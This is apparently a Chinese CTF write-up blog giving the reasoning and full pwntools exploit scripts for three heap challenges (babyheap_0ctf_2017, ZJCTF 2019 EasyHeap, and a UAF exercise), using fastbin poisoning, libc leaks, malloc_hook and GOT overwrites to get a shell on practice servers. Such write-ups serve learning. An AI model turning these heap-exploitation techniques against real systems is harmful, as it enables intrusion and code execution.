堆溢出
babyheap_0ctf_2017
典型堆溢出,但使用了calloc(在malloc后会清空申请的空间),对泄露libc造成了一些麻烦
解法不少,目前学了一种
思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 堆地址未知 add0,1,2,3(只有3要求大一些,放到unsorted) 0作用:修改1和2 free1 free2 会放到fastbin,2->1 0溢出,穿过1,修改2的fd指针,改到3的身上 fastibn:2->3(1丢失) add 1(申请到2)
按理来说再add 2就可以申请到3,双重身份,但是3的大小不符合fast,必然申请不出来所以 fill 1 (用2溢出到3,修改3的大小到0x10,满足fast) add 2(申请到了3) add 4(0x80,防止合并到top) fill 1 (再改回去,保证等等放到unsorted) free 3 (放到第一个unsorted,fd和bd都会变成libc_areas+xx) dump 2 查看3里面的fd 泄露libc完成,后面的就是常规堆溢出
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * context.log_level = "debug" context.arch="amd64"
one=[0x45216,0x4526a]
def add(size): p.sendlineafter("Command:","1") p.sendlineafter("Size:",str(size))
def fill(index,context): p.sendlineafter("Command:","2") p.sendlineafter("Index:",str(index)) p.sendlineafter("Size:", str(len(context))) p.sendlineafter("Content:", context) def free(index): p.sendlineafter("Command:","3") p.sendlineafter("Index:", str(index))
def dump(index): p.sendlineafter("Command:","4") p.sendlineafter("Index:", str(index)) def pwn(i):
try: add(0x10) # 0 add(0x10) # 1 add(0x10) # 2 add(0x80) # 3
free(1) # 释放1 free(2) # 释放2 fill(0, b"a" * 0x10 + p64(0) + p64(0x21) + b"a" * 0x10 + p64(0) + p64(0x21) + p8(0x60)) # 使2指向3 add(0x10) # 申请回来2编号为1 fill(1, b"a" * 0x10 + p64(0) + p64(0x21)) add(0x10) # 申请到3编号为2 add(0x80) # 防止合并,编号为5 fill(1, b"a" * 0x10 + p64(0) + p64(0x91)) free(3) # 把3放到uns # attach(p) dump(2) # dump(2)#查看3中的libc libc = u64(p.recvuntil("\x7f")[-6:] + b"\0" * 2) malloc_hook = libc - 0x68 libc_base = libc + 0x7f7a5ee00000 - 0x7f7a5f1c4b78 one_gadget=one[1]+libc_base print(hex(libc)) success(hex(malloc_hook)) add(0x80) # 取出3,放到3,把exp两部分分开 add(0x60) # 6 add(0x60) # 7 add(0x60) # 8,防合并 free(7) fill(6, b"a" * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x10 - i)) add(0x60) # 7 add(0x60) # 8,mallochook fill(8, b"aaa"+p64(one_gadget)) add(0x10) p.interactive() except: pass
p = remote("node4.buuoj.cn",27576) pwn(3)
|
第二天看其他人的wp,发现不需要另起炉灶,下面是简易的exp
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * context.log_level = "debug" context.arch="amd64"
one=[0x45216,0x4526a]
def add(size): p.sendlineafter("Command:","1") p.sendlineafter("Size:",str(size))
def fill(index,context): p.sendlineafter("Command:","2") p.sendlineafter("Index:",str(index)) p.sendlineafter("Size:", str(len(context))) p.sendlineafter("Content:", context) def free(index): p.sendlineafter("Command:","3") p.sendlineafter("Index:", str(index))
def dump(index): p.sendlineafter("Command:","4") p.sendlineafter("Index:", str(index))
p = process("./heap")
add(0x10) # 0 add(0x10) # 1 add(0x10) # 2 add(0x80) # 3
free(1) # 释放1 free(2) # 释放2 fill(0, b"a" * 0x10 + p64(0) + p64(0x21) + b"a" * 0x10 + p64(0) + p64(0x21) + p8(0x60)) # 使2指向3 add(0x10) # 申请回来2编号为1 fill(1, b"a" * 0x10 + p64(0) + p64(0x21)) add(0x10) # 申请到3编号为2 add(0x80) # 防止合并,编号为4 fill(1, b"a" * 0x10 + p64(0) + p64(0x91)) free(3) # 把3放到uns # attach(p) dump(2) # dump(2)#查看3中的libc libc = u64(p.recvuntil("\x7f")[-6:] + b"\0" * 2) malloc_hook = libc - 0x68 libc_base = libc + 0x7f7a5ee00000 - 0x7f7a5f1c4b78 one_gadget = one[1] + libc_base print(hex(libc)) success(hex(malloc_hook)) add(0x60) # 取出一部分3,编号为3 free(3) fill(1,b"a" * 0x10 + p64(0) + p64(0x71)+p64(malloc_hook-0x23))
add(0x60) add(0x60) #attach(p) fill(5,b'a'*0x13+p64(one_gadget)) add(10) p.interactive()
|
[ZJCTF 2019]EasyHeap
思路
本题也是直接给了栈溢出,不过没有show函数,没法泄露libc
直接给了system函数,但是我一开始不会用,于是有了一个离奇的办法,伪造一个chunk到got表,free函数在got表的第一个,我把one_gadget塞里面去,需要爆破,概率是1/16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import *
context.log_level = "debug" context.arch = "amd64"
one = [0x45216, 0x4526a,0xf1147,0xf02a4]
def add(size, context): p.sendafter("Your choice :", "1") p.sendafter("Size of Heap :", str(size)) p.sendafter("Content of heap:", context)
def fill(index, context): p.sendafter("Your choice :", "2") p.sendafter("Index :", str(index)) p.sendafter("Size of Heap :", str(size(context))) p.sendafter("Content of heap :", context)
def free(index): p.sendafter("Your choice :", "3") p.sendafter("Index :", str(index))
# def dump(index): # p.sendafter("Your choice :","4") # p.sendafter("Index:", str(index))
for i in range(100): try: #p = process("./easyheap") p=remote("node4.buuoj.cn",25384)
add(0x10, b'a') # 0 add(0x50, b'a') # 1 add(0x10, b'a') # 2,fang he bing free(1) fill(0, b'a' * 0x10 + p64(0) + p64(0x61) + p64(0x601ffa))
add(0x50, b'a') # 3
add(0x50, b'a' * (0x602018 - 0x601ffa - 0x10) + p8(0xa4) + p8(0x02) + p8(0xef)) # 4,magic 0x45216 0xf02a4 #attach(p) free(0) p.sendline("cat flag") p.interactive() except: pass
|
看了看佬的exp,稍微改了一下我的
改进版(有问题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import *
context.log_level = "debug" context.arch = "amd64"
one = [0x45216, 0x4526a,0xf1147,0xf02a4]
def add(size, context): p.sendafter("Your choice :", "1") p.sendafter("Size of Heap :", str(size)) p.sendafter("Content of heap:", context)
def fill(index, context): p.sendafter("Your choice :", "2") p.sendafter("Index :", str(index)) p.sendafter("Size of Heap :", str(size(context))) p.sendafter("Content of heap :", context)
def free(index): p.sendafter("Your choice :", "3") p.sendafter("Index :", str(index))
# def dump(index): # p.sendafter("Your choice :","4") # p.sendafter("Index:", str(index))
p = process("./easyheap") #p = remote("node4.buuoj.cn", 25384)
add(0x10, b'/bin/sh') # 0 add(0x50, b'a') # 1 add(0x10, b'/bin/sh\0') # 2,fang he bing free(1) fill(0, b'a' * 0x10 + p64(0) + p64(0x61) + p64(0x601ffa))
add(0x50, b'a') # 3
add(0x50, b'a' * (0x602018 - 0x601ffa - 0x10) + p64(0x400700)) # 4,magic 0x45216 0xf02a4 attach(p) free(2) p.interactive()
|
问题很简单,system函数未被调用,所以got还需初始化,而我们修改free的时候把基地址破坏掉了
如果想要打通,可以先跑一次system,懒得搞了
最终版
在bss段里的,自创的chuck表上方下方创建chunk,修改chunk0的地址,改到free函数的got表,修改got表,改为system,再free一个写有/bin/sh的chunk,就变成了system(“/bin/sh”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context.log_level = "debug" context.arch = "amd64"
one = [0x45216, 0x4526a,0xf1147,0xf02a4]
def add(size, context): p.sendafter("Your choice :", "1") p.sendafter("Size of Heap :", str(size)) p.sendafter("Content of heap:", context)
def fill(index, context): p.sendafter("Your choice :", "2") p.sendafter("Index :", str(index)) p.sendafter("Size of Heap :", str(size(context))) p.sendafter("Content of heap :", context)
def free(index): p.sendafter("Your choice :", "3") p.sendafter("Index :", str(index))
# def dump(index): # p.sendafter("Your choice :","4") # p.sendafter("Index:", str(index))
p = process("./easyheap") p = remote("node4.buuoj.cn", 28047)
add(0x10, b'a') # 0 add(0x60, b'a') # 1 add(0x10, b'/bin/sh\0') # 2,fang he bing free(1) fill(0, b'a' * 0x10 + p64(0) + p64(0x71) + p64(0x6020ad)) add(0x60, b'a') # 1 add(0x60, b'a' * 0x23 + p64(0x602018)) # 3,magic 0x45216 0xf02a4 fill(0,p64(0x00400700)) #attach(p) free(2) p.interactive()
|
UAF
练手小题
有一个chunk存输出函数,申请一个等大的堆,倒腾了两下,跳后门去了
1 2 3 4 5 6 7 8 9 10 11 12
| p = remote("node4.buuoj.cn", 25065)
magic=0x8048945 add(0x8,b'a') add(0x20,b'a') add(0x8,b'a') free(0) free(1)
add(0x8,p32(magic)) #attach(p) p.interactive()
|